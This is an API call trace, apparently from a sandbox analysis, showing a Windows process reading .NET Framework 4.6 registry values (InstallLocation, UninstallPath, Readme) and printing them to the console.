GetConsoleOutputCP () returned 0x1b5 [0148.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.042] GetConsoleOutputCP () returned 0x1b5 [0148.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.042] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.042] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.042] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.042] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x90) returned 0x0 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x92) returned 0x302970 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.042] GetProcessHeap () returned 0x2e0000 [0148.042] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x92 [0148.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x90 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", pcbData=0x23f670*=0x8e) returned 0x0 [0148.042] __iob_func () returned 0x7fefd702a80 [0148.042] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.042] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.042] _fileno (_File=0x7fefd702ab0) returned 1 [0148.042] _errno () returned 0xc4bb0 [0148.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.042] _errno () returned 0xc4bb0 [0148.043] GetFileType (hFile=0x50) returned 0x1 [0148.043] lstrlenW (lpString=" ") returned 4 [0148.043] GetConsoleOutputCP () returned 0x1b5 [0148.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.043] GetConsoleOutputCP () returned 0x1b5 [0148.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.043] lstrlenW (lpString="InstallLocation") returned 15 [0148.043] __iob_func () returned 0x7fefd702a80 [0148.043] _fileno (_File=0x7fefd702ab0) returned 1 [0148.043] _errno () returned 0xc4bb0 [0148.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.043] _errno () returned 0xc4bb0 [0148.043] GetFileType (hFile=0x50) returned 0x1 [0148.043] lstrlenW (lpString="InstallLocation") returned 15 [0148.043] GetConsoleOutputCP () returned 0x1b5 [0148.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.043] GetConsoleOutputCP () returned 0x1b5 [0148.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.044] __iob_func () returned 0x7fefd702a80 [0148.044] _fileno (_File=0x7fefd702ab0) returned 1 [0148.044] _errno () returned 0xc4bb0 [0148.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.044] _errno () returned 0xc4bb0 [0148.044] GetFileType (hFile=0x50) returned 0x1 [0148.044] lstrlenW (lpString=" ") returned 4 [0148.044] GetConsoleOutputCP () returned 0x1b5 [0148.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.044] GetConsoleOutputCP () returned 0x1b5 [0148.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.044] __iob_func () returned 0x7fefd702a80 [0148.044] _fileno (_File=0x7fefd702ab0) returned 1 [0148.044] _errno () returned 0xc4bb0 [0148.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.044] _errno () returned 0xc4bb0 [0148.044] GetFileType (hFile=0x50) returned 0x1 [0148.044] lstrlenW (lpString="REG_SZ") returned 6 [0148.044] GetConsoleOutputCP () returned 0x1b5 [0148.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.045] GetConsoleOutputCP () returned 0x1b5 [0148.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.045] __iob_func () returned 0x7fefd702a80 [0148.045] _fileno (_File=0x7fefd702ab0) returned 1 [0148.045] _errno () returned 0xc4bb0 [0148.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.045] _errno () returned 0xc4bb0 [0148.045] GetFileType (hFile=0x50) returned 0x1 [0148.045] lstrlenW (lpString=" ") returned 4 [0148.045] GetConsoleOutputCP () returned 0x1b5 [0148.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.045] GetConsoleOutputCP () returned 0x1b5 [0148.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.047] __iob_func () returned 0x7fefd702a80 [0148.047] _fileno (_File=0x7fefd702ab0) returned 1 [0148.047] _errno () returned 0xc4bb0 [0148.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.047] _errno () returned 0xc4bb0 [0148.047] GetFileType (hFile=0x50) returned 0x1 [0148.047] lstrlenW (lpString="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\") returned 70 [0148.047] GetConsoleOutputCP () returned 0x1b5 [0148.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0148.047] GetConsoleOutputCP () returned 0x1b5 [0148.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", cchWideChar=70, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", lpUsedDefaultChar=0x0) returned 70 [0148.047] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 70 [0148.047] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.047] __iob_func () returned 0x7fefd702a80 [0148.047] _fileno (_File=0x7fefd702ab0) returned 1 [0148.047] _errno () returned 0xc4bb0 [0148.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.047] _errno () returned 0xc4bb0 [0148.047] GetFileType (hFile=0x50) returned 0x1 [0148.047] lstrlenW (lpString="\n") returned 1 [0148.048] GetConsoleOutputCP () returned 0x1b5 [0148.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.048] GetConsoleOutputCP () returned 0x1b5 [0148.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x92 [0148.048] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.048] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.048] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x90) returned 0x0 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x92) returned 0x302970 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.048] GetProcessHeap () returned 0x2e0000 [0148.048] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x92 [0148.048] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x90 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", pcbData=0x23f670*=0x8e) returned 0x0 [0148.048] __iob_func () returned 0x7fefd702a80 [0148.048] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.048] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.048] _fileno (_File=0x7fefd702ab0) returned 1 [0148.048] _errno () returned 0xc4bb0 [0148.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.049] _errno () returned 0xc4bb0 [0148.049] GetFileType (hFile=0x50) returned 0x1 [0148.049] lstrlenW (lpString=" ") returned 4 [0148.049] GetConsoleOutputCP () returned 0x1b5 [0148.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.049] GetConsoleOutputCP () returned 0x1b5 [0148.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.049] lstrlenW (lpString="UninstallPath") returned 13 [0148.049] __iob_func () returned 0x7fefd702a80 [0148.049] _fileno (_File=0x7fefd702ab0) returned 1 [0148.049] _errno () returned 0xc4bb0 [0148.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.049] _errno () returned 0xc4bb0 [0148.049] GetFileType (hFile=0x50) returned 0x1 [0148.049] lstrlenW (lpString="UninstallPath") returned 13 [0148.049] GetConsoleOutputCP () returned 0x1b5 [0148.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallPath", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.049] GetConsoleOutputCP () returned 0x1b5 [0148.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallPath", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallPath", lpUsedDefaultChar=0x0) returned 13 [0148.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.050] __iob_func () returned 0x7fefd702a80 [0148.050] _fileno (_File=0x7fefd702ab0) returned 1 [0148.050] _errno () returned 0xc4bb0 [0148.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.050] _errno () returned 0xc4bb0 [0148.050] GetFileType (hFile=0x50) returned 0x1 [0148.050] lstrlenW (lpString=" ") returned 4 [0148.050] GetConsoleOutputCP () returned 0x1b5 [0148.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.050] GetConsoleOutputCP () returned 0x1b5 [0148.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.050] __iob_func () returned 0x7fefd702a80 [0148.050] _fileno (_File=0x7fefd702ab0) returned 1 [0148.050] _errno () returned 0xc4bb0 [0148.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.050] _errno () returned 0xc4bb0 [0148.050] GetFileType (hFile=0x50) returned 0x1 [0148.050] lstrlenW (lpString="REG_SZ") returned 6 [0148.050] GetConsoleOutputCP () returned 0x1b5 [0148.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.051] GetConsoleOutputCP () returned 0x1b5 [0148.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.051] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.051] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.051] __iob_func () returned 0x7fefd702a80 [0148.051] _fileno (_File=0x7fefd702ab0) returned 1 [0148.051] _errno () returned 0xc4bb0 [0148.051] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.051] _errno () returned 0xc4bb0 [0148.051] GetFileType (hFile=0x50) returned 0x1 [0148.051] lstrlenW (lpString=" ") returned 4 [0148.051] GetConsoleOutputCP () returned 0x1b5 [0148.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.052] GetConsoleOutputCP () returned 0x1b5 [0148.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.052] __iob_func () returned 0x7fefd702a80 [0148.052] _fileno (_File=0x7fefd702ab0) returned 1 [0148.052] _errno () returned 0xc4bb0 [0148.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.052] _errno () returned 0xc4bb0 [0148.052] GetFileType (hFile=0x50) returned 0x1 [0148.052] lstrlenW (lpString="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\") returned 70 [0148.052] GetConsoleOutputCP () returned 0x1b5 [0148.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0148.052] GetConsoleOutputCP () returned 0x1b5 [0148.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", cchWideChar=70, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\", lpUsedDefaultChar=0x0) returned 70 [0148.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 70 [0148.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.053] __iob_func () returned 0x7fefd702a80 [0148.053] _fileno (_File=0x7fefd702ab0) returned 1 [0148.053] _errno () returned 0xc4bb0 [0148.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.053] _errno () returned 0xc4bb0 [0148.053] GetFileType (hFile=0x50) returned 0x1 [0148.053] lstrlenW (lpString="\n") returned 1 [0148.053] GetConsoleOutputCP () returned 0x1b5 [0148.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.053] GetConsoleOutputCP () returned 0x1b5 [0148.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.053] GetProcessHeap () returned 0x2e0000 [0148.053] GetProcessHeap () returned 0x2e0000 [0148.053] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.053] GetProcessHeap () returned 0x2e0000 [0148.053] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x92 [0148.053] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.053] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.053] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0148.053] GetProcessHeap () returned 0x2e0000 [0148.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x3019a0 [0148.053] GetProcessHeap () returned 0x2e0000 [0148.053] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.054] GetProcessHeap () returned 0x2e0000 [0148.054] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.054] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="http://go.microsoft.com/fwlink/?LinkId=528229", pcbData=0x23f670*=0x5c) returned 0x0 [0148.054] __iob_func () returned 0x7fefd702a80 [0148.054] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.054] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.054] _fileno (_File=0x7fefd702ab0) returned 1 [0148.054] _errno () returned 0xc4bb0 [0148.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.054] _errno () returned 0xc4bb0 [0148.054] GetFileType (hFile=0x50) returned 0x1 [0148.054] lstrlenW (lpString=" ") returned 4 [0148.054] GetConsoleOutputCP () returned 0x1b5 [0148.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.054] GetConsoleOutputCP () returned 0x1b5 [0148.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.054] lstrlenW (lpString="Readme") returned 6 [0148.054] __iob_func () returned 0x7fefd702a80 [0148.054] _fileno (_File=0x7fefd702ab0) returned 1 [0148.054] _errno () returned 0xc4bb0 [0148.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.054] _errno () returned 0xc4bb0 [0148.054] GetFileType (hFile=0x50) returned 0x1 [0148.055] lstrlenW (lpString="Readme") returned 6 [0148.055] GetConsoleOutputCP () returned 0x1b5 [0148.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.055] GetConsoleOutputCP () returned 0x1b5 [0148.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.055] __iob_func () returned 0x7fefd702a80 [0148.055] _fileno (_File=0x7fefd702ab0) returned 1 [0148.055] _errno () returned 0xc4bb0 [0148.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.055] _errno () returned 0xc4bb0 [0148.055] GetFileType (hFile=0x50) returned 0x1 [0148.055] lstrlenW (lpString=" ") returned 4 [0148.055] GetConsoleOutputCP () returned 0x1b5 [0148.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 